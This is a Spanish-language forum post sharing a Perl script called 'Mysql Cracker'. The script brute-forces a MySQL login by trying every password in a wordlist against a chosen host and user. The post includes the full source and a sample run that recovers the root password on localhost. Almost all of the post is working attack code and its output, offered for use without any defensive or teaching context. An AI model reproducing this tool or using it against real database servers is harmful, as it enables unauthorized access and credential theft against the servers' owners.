• [Perl] Mysql Cracker

 #483963  por Doddy
 17 Feb 2016, 15:52
Bueno , aca les dejo un mysql cracker que hice en Perl.
#!usr/bin/perl
#Mysql Cracker (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd

use DBI;

sub now {

$target = "dbi:mysql::".$_[0].":3306";

print "\n[+] Target : ".$_[0]."\n\n";

unless(-f $ARGV[2]) {
print "\n[-] File Not Found\n";
copyright();
}

open(WORDLIST,$_[2]);
my @words = <WORDLIST>;
close WORDLIST;

chomp @words;

my @words = repes(@words);

print "\n[+] Wordlist : $_[2]\n";
print "[+] Words Found : ".int(@words)."\n\n";

for my $pass(@words) {
if (my $now = DBI->connect($target,$_[1],$pass,{PrintError=>0})) {
print "\a\a\n[+] Cracked !!!\n\n";
print "[Host] : ".$_[0]."\n";
print "[User] : ".$_[1]."\n";
print "[Password] : ".$pass."\n";
copyright();
} 
}
print "\n[-] Sorry , Not Found\n";
}

sub head {
print "\n\n -- == Mysql Cracker == --\n\n";
}

sub copyright {
print "\n\n -- == (C) Doddy Hackman 2011\n\n";
exit(1);
}

sub sintax {
print "\n[+] Sintax : $0 <host> <user> <wordlist>\n";
}

sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}

head();
unless(@ARGV < 3) {
now($ARGV[0],$ARGV[1],$ARGV[2]);
} else {
sintax();
}
copyright();


# ¿ The End ?
Un ejemplo de uso seria
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlcrack>mycrack.pl localhost root c:/aca.txt


 -- == Mysql Cracker == --


[+] Target : localhost


[+] Wordlist : c:/aca.txt
[+] Words Found : 7


[+] Cracked !!!

[Host] : localhost
[User] : root
[Password] : root


 -- == (C) Doddy Hackman 2011 == --